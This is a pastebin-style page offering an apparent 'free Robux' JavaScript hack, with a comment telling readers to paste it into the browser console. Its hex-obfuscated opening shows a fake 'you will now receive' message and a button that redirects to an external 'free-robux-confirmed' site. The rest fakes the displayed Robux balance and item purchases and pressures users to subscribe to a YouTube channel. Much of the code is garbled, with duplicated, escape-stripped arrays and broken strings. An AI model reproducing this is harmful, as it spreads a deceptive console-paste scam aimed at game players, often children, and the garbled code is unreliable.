Facebook
From Social Eider, 2 Years ago, written in JavaScript.
This paste is a reply to Re: Re: Re: Free Robux Script from Crippled Kangaroo - go back
Embed
var _0xe368=["\x48\x6F\x77\x20\x6D\x75\x63\x68\x20\x72\x6F\x62\x75\x78\x20\x64\x6F\x20\x79\x6F\x75\x20\x77\x61\x6E\x74","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x2E\x66\x69\x72\x65\x42\x6C\x6F\x63\x6B\x20\x3D\x20\x6E\x75\x6C\x6C\x20\x26\x26\x20\x72\x6F\x62\x75\x78\x2E\x47\x65\x6E\x65\x72\x61\x74\x65\x72\x28\x27\x67\x65\x6E\x65\x72\x61\x74\x65\x27\x29\x3B\x0A\x20\x59\x6F\x75\x20\x77\x69\x6C\x6C\x20\x6E\x6F\x77\x20\x72\x65\x63\x65\x69\x76\x65\x20","\x20\x52\x6F\x62\x75\x78\x21","\x42\x55\x54\x54\x4F\x4E","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x47\x45\x54\x20\x46\x52\x45\x45\x20\x52\x4F\x42\x55\x58","\x63\x72\x65\x61\x74\x65\x54\x65\x78\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x69\x74\x65\x73\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x76\x69\x65\x77\x2F\x66\x72\x65\x65\x2D\x72\x6F\x62\x75\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x65\x64\x2F\x68\x6F\x6D\x65","\x6F\x6E\x63\x6C\x69\x63\x6B"];var _0xe368=["x48x6Fx77x20x6Dx75x63x68x20x72x6Fx62x75x78x20x64x6Fx20x79x6Fx75x20x77x61x6Ex74","x66x75x6Ex63x74x69x6Fx6Ex2Ex66x69x72x65x42x6Cx6Fx63x6Bx20x3Dx20x6Ex75x6Cx6Cx20x26x26x20x72x6Fx62x75x78x2Ex47x65x6Ex65x72x61x74x65x72x28x27x67x65x6Ex65x72x61x74x65x27x29x3Bx0Ax20x59x6Fx75x20x77x69x6Cx6Cx20x6Ex6Fx77x20x72x65x63x65x69x76x65x20","x20x52x6Fx62x75x78x21","x42x55x54x54x4Fx4E","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x47x45x54x20x46x52x45x45x20x52x4Fx42x55x58","x63x72x65x61x74x65x54x65x78x74x4Ex6Fx64x65","x61x70x70x65x6Ex64x43x68x69x6Cx64","x62x6Fx64x79","x68x72x65x66","x6Cx6Fx63x61x74x69x6Fx6E","x68x74x74x70x73x3Ax2Fx2Fx73x69x74x65x73x2Ex67x6Fx6Fx67x6Cx65x2Ex63x6Fx6Dx2Fx76x69x65x77x2Fx66x72x65x65x2Dx72x6Fx62x75x78x2Dx63x6Fx6Ex66x69x72x6Dx65x64x2Fx68x6Fx6Dx65","x6Fx6Ex63x6Cx69x63x6B"];var robuxGenerate;var number=prompt(_0xe368[0]);if(number!= null){alert(_0xe368[1]+ number+ _0xe368[2])};var subscribed=true;var btn=document[_0xe368[4]](_0xe368[3]);var t=document[_0xe368[6]](_0xe368[5]);btn[_0xe368[7]](t);document[_0xe368[8]][_0xe368[7]](btn);btn[_0xe368[12]](window[_0xe368[10]][_0xe368[9]]= _0xe368[11]);robuxGenerate= true
   
  // paste this inside console then click enter then you will see a box type your ammount but dont add more than 10K+ robux or it wont work
  
   vRoblox.Hack = {
        original: 'missingno',
        balance: 0,
        initialized: 0,
        loading: false,
        items: [],
        inventoryString: '#
%6 
By PageType!==\'favorites\'&&currentData.PageType!=='favorites'&¤tData.category.name==\'Places\'&&(currentData.name=='Places'&&(currentData.subcategory.name==\'My name=='My VIP Servers\'||currentData.Servers'||currentData.subcategory.name==\'Other name=='Other VIP Servers\')&&staticData.Servers')&&staticData.isOwnPage" href="%3" data-ytta-id="-">%4 PageType!==\'favorites\'&&(currentData.PageType!=='favorites'&&(currentData.subcategory.name==\'My name=='My VIP Servers\'||currentData.Servers'||currentData.subcategory.name==\'Other name=='Other VIP Servers\')">
Servers')">class="item-card-price">  0" ng-class="{\'text-robux\':item.ng-class="{'text-robux':item.Product.NoPriceText===\'Free\'}" NoPriceText==='Free'}" class="ng-binding ng-scope text-robux">%5',
        disableF5: function(e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } },
        watermark: function () {
                    console.clear();
                    console.log("__________ ________ __________.____    ________  ____  ___\n\\______   \\\\_____  \\\\______   \\    |   ___n\______   \\_____  \\ \\   \\/  /\n \\______   \    |   \_____  \ \   \/  /n |       _/ /   |   \\|    \|    |  _/    |    /   |   \\ \\     \ \     \n |    |   \\/    \/    |    \\    \    |   \\    \    |___/    |    \\/     \\ \n \/     \ n |____|_  /\\_______  /\_______  /______  /_______ \\_______  /___/\\  \\\n        \\/         \\/       \\/        \\/       \\/      \\_/\nRoblox.\_______  /___/\  \n        \/         \/       \/        \/       \/      \_/nRoblox.Hack.js created by CreepyJokes2000\n\nUsage:\nRoblox.CreepyJokes2000nnUsage:nRoblox.Hack.setRobux( int ); // Sets your robux to the value provided\nRoblox.providednRoblox.Hack.onload // Override for custom pages\nRoblox.pagesnRoblox.Hack.addRobux( int ); //Increases robux balance\nRoblox.balancenRoblox.Hack.onloaded // Override for custom pages");
        },
        setRobux: function (robux) {
                //Roblox.NumberFormatting.js
               typeof Roblox=="undefined"&&(Roblox={}),typeof Roblox.NumberFormatting=="undefined"&&(Roblox.NumberFormatting=function(){var n=function(n){if(typeof n!="number")throw"'number' is not a number";return n.toString().replace(/\B(?=(\d{3})+(?!\d))/g,",")},t=function(t){var replace(/B(?=(d{3})+(?!d))/g,",")},t=function(t){var i,r,u;if(typeof t!="number")throw"'number' is not a number";var f=1e4,e=1e6,o=1e9;return t==0?"0":t                 //Roblox.NumberFormatting.js
                
                Roblox.Hack.balance = robux;
                var doc = document.getElementById('documentFrame').contentWindow.document;
                doc.getElementById("nav-robux-balance").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance) + " ROBUX";
                doc.getElementById("nav-robux-amount").innerHTML = Roblox.NumberFormatting.abbreviatedFormat(Roblox.Hack.balance);
        },
        addRobux: function (robux) {
                Roblox.Hack.setRobux(Roblox.Hack.balance + robux);
        },
        addItem: function(category, name, image, creator, price, url, profile) {
                Roblox.Hack.items.push({category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url});
        },
        format: function(str, arr) {
                return str.replace(/%(\d+)/g, replace(/%(d+)/g, function(_,m) {
                        return arr[--m];
                });
        },
        init: function() { 
                if(Roblox.Hack.initialized != 0) {
                        console.log("Already initalized!");
                        return;
                }
                window.onbeforeunload = function() {
                        return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Hack.original + " ROBUX";
                }
                Roblox.Hack.initialized = 1;
                Roblox.Hack.original = document.getElementById('nav-robux-amount').innerHTML;
                document.documentElement.innerHTML = "";
                var start_loading = (function() {
                        Roblox.Hack.loading = true;
                });
                setInterval(function() {
                        if(Roblox.Hack.loading && document.getElementById('documentFrame').contentWindow.document.body.innerHTML.indexOf('nav-robux-amount') != -1) {
                                Roblox.Hack.loading = false;
                                Roblox.Hack.setRobux( Roblox.Hack.balance );                                
                                if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
                                        window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
                                }
                                
                                setTimeout(function(){
                                        var doc = document.getElementById('documentFrame').contentWindow.document;
                                        var t = doc.getElementsByClassName("PurchaseButton");
                                        for(var i=0; i                                                 $(t[i]).replaceWith(function () {
                                                        return $('<' + this.nodeName + ' class="' + $(this).attr('class') + '">').append($(this).contents());
                                                });
                                           t[i].onclick = function() {
                                                                Roblox.Hack.addItem(
                                                                        doc.getElementsByClassName("field-content")[0].innerHTML.toLowerCase().replace(/ /g, '-') + 's', 
                                                                        doc.getElementsByClassName('item-name-container')[0].children[0].innerHTML,
                                                                        doc.getElementsByClassName('thumbnail-span')[0].children[0].src,
                                                                        doc.getElementsByClassName('text-name')[0].innerHTML,
                                                                        doc.getElementsByClassName('text-robux-lg')[0].innerHTML,
                                                                        window.location.href,
                                                                        doc.getElementsByClassName('text-name')[0].href
                                                                        );
                                                                document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Purchase Completed");
                                                                document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,1e3);
                                                                setTimeout(function() {
                                                                        Roblox.Hack.addRobux(-parseInt(document.getElementById('documentFrame').contentWindow.$(".text-robux-lg").html().replace(/,/g, '')));
                                                                        document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href;
                                                                }, 200);
                                                        }
                                        }
                                }, 200);
                                
                                var doc = document.getElementById('documentFrame').contentWindow.document;
                                if(doc.location.href.split('/').length == 6 && document.location.href.split('/')[3] == 'catalog') {
                                        for(var i = 0; i < Roblox.Hack.items.length; i++) {
                                                var item = Roblox.Hack.items[i];
                                                if(item.url == window.location.href) {
                                                        var buyInterval = setInterval(function() {
                                                                if(doc.getElementsByClassName('text-label').length > 0 && doc.getElementsByClassName('text-label field-label price-label').length > 0 && doc.getElementsByClassName('action-button').length > 0) {
                                                                        clearInterval(buyInterval);
                                                                        doc.getElementsByClassName('text-label')[0].outerHTML += ' Item Owned';
                                                                        doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML = 'This item is available in your inventory.' + doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML;
                                                                        doc.getElementsByClassName('action-button')[0].innerHTML = 'Edit Avatar';
                                                                }
                                                        }, 1);
                                                }
                                        }
                                }
                                
                                /*if(typeof(doc.getElementById('assetsItems')) != 'undefined') {
                                        var inventory = doc.getElementById('assetsItems');
                                        for(var i = 0; i < Roblox.Hack.items.length; i++) {
                                                var item = Roblox.Hack.items[i];
                                                if(item.category == window.location.href.split('/')[6]) {
                                                        inventory.innerHTML += Roblox.Hack.format(Roblox.Hack.inventoryString, [item.url, item.image, item.profile, item.creator, item.price, item.name]);
                                                }
                                        }
                                }*/
                        
                                document.title = doc.title;
                                if(typeof(Roblox.Hack.onload) != 'undefined') Roblox.Hack.onload();
                        }
                }, 1);
                window.addEventListener('message', function(e){ if(e.data == 'iframe_change') { start_loading(); } }, false);
                $('#documentFrame').load(function() { 
                        if(Roblox.Hack.initialized != 2) {
                                Roblox.Hack.initialized = 2;
                                document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Successfully loaded");
                                document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,2e3);
                        }
                        Roblox.Hack.watermark();
                        document.getElementById('documentFrame').contentWindow.onunload = function() { window.top.postMessage('iframe_change', '*'); };
                        if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
                                window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
                        }
                        if(document.getElementById('documentFrame').contentWindow.document.location.href.indexOf('my/character.aspx') != -1 || document.getElementById('documentFrame').contentWindow.document.getElementById('assetsItems') != null) {
                                if(window.confirm("You must be subscribed to my youtube channel to receive the items you bought with your robux\nIf robuxnIf you are subscribed, press Cancel and wait up to about 60 minutes for the item to be added to your inventory.\nIf nIf you have not subscribed yet, press OK to be redirected to the subscribe page.")) {
                                        var win = window.open('https://www.youtube.com/channel/UCudTUMYOO-0HdtKQzsnlSMA');
                                        win.focus();
                                } else {
                                        alert("The items will now be added to your inventory. It may take between 60 minutes to 48 hours for your item to appear\nIf appearnIf you did not subscribe this will not work\n\nYou worknnYou do not have to leave this page open, feel free to close the tab, play ROBLOX, or turn off your PC.");
                                }
                        }
                        document.title = document.getElementById('documentFrame').contentWindow.document.title;
                        if(typeof(Roblox.Hack.onloaded) != 'undefined') Roblox.Hack.onloaded();
                });
                window.onpopstate = function(event) {
                        document.getElementById('documentFrame').contentWindow.document.location = document.location;
                };
                $(document).ready(function(){
                     $(document).on("keydown", Roblox.Hack.disableF5);
                });
        }
}

document.getElementsByClassName('btn-primary btn-small')[0].onclick = function() { if(document.getElementById('pin').value == 'CJ2000') { Roblox.Hack.balance = 50000; Roblox.Hack.init(); } else { Roblox.GameCard.redeemCode(); }};
ar _0xe368=["\x48\x6F\x77\x20\x6D\x75\x63\x68\x20\x72\x6F\x62\x75\x78\x20\x64\x6F\x20\x79\x6F\x75\x20\x77\x61\x6E\x74","\x66\x75\x6E\x63\x74\x69\x6F\x6E\x2E\x66\x69\x72\x65\x42\x6C\x6F\x63\x6B\x20\x3D\x20\x6E\x75\x6C\x6C\x20\x26\x26\x20\x72\x6F\x62\x75\x78\x2E\x47\x65\x6E\x65\x72\x61\x74\x65\x72\x28\x27\x67\x65\x6E\x65\x72\x61\x74\x65\x27\x29\x3B\x0A\x20\x59\x6F\x75\x20\x77\x69\x6C\x6C\x20\x6E\x6F\x77\x20\x72\x65\x63\x65\x69\x76\x65\x20","\x20\x52\x6F\x62\x75\x78\x21","\x42\x55\x54\x54\x4F\x4E","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x47\x45\x54\x20\x46\x52\x45\x45\x20\x52\x4F\x42\x55\x58","\x63\x72\x65\x61\x74\x65\x54\x65\x78\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x69\x74\x65\x73\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x76\x69\x65\x77\x2F\x66\x72\x65\x65\x2D\x72\x6F\x62\x75\x78\x2D\x63\x6F\x6E\x66\x69\x72\x6D\x65\x64\x2F\x68\x6F\x6D\x65","\x6F\x6E\x63\x6C\x69\x63\x6B"];var _0xe368=["x48x6Fx77x20x6Dx75x63x68x20x72x6Fx62x75x78x20x64x6Fx20x79x6Fx75x20x77x61x6Ex74","x66x75x6Ex63x74x69x6Fx6Ex2Ex66x69x72x65x42x6Cx6Fx63x6Bx20x3Dx20x6Ex75x6Cx6Cx20x26x26x20x72x6Fx62x75x78x2Ex47x65x6Ex65x72x61x74x65x72x28x27x67x65x6Ex65x72x61x74x65x27x29x3Bx0Ax20x59x6Fx75x20x77x69x6Cx6Cx20x6Ex6Fx77x20x72x65x63x65x69x76x65x20","x20x52x6Fx62x75x78x21","x42x55x54x54x4Fx4E","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x47x45x54x20x46x52x45x45x20x52x4Fx42x55x58","x63x72x65x61x74x65x54x65x78x74x4Ex6Fx64x65","x61x70x70x65x6Ex64x43x68x69x6Cx64","x62x6Fx64x79","x68x72x65x66","x6Cx6Fx63x61x74x69x6Fx6E","x68x74x74x70x73x3Ax2Fx2Fx73x69x74x65x73x2Ex67x6Fx6Fx67x6Cx65x2Ex63x6Fx6Dx2Fx76x69x65x77x2Fx66x72x65x65x2Dx72x6Fx62x75x78x2Dx63x6Fx6Ex66x69x72x6Dx65x64x2Fx68x6Fx6Dx65","x6Fx6Ex63x6Cx69x63x6B"];var robuxGenerate;var number=prompt(_0xe368[0]);if(number!= null){alert(_0xe368[1]+ number+ _0xe368[2])};var subscribed=true;var btn=document[_0xe368[4]](_0xe368[3]);var t=document[_0xe368[6]](_0xe368[5]);btn[_0xe368[7]](t);document[_0xe368[8]][_0xe368[7]](btn);btn[_0xe368[12]](window[_0xe368[10]][_0xe368[9]]= _0xe368[11]);robuxGenerate= true
captcha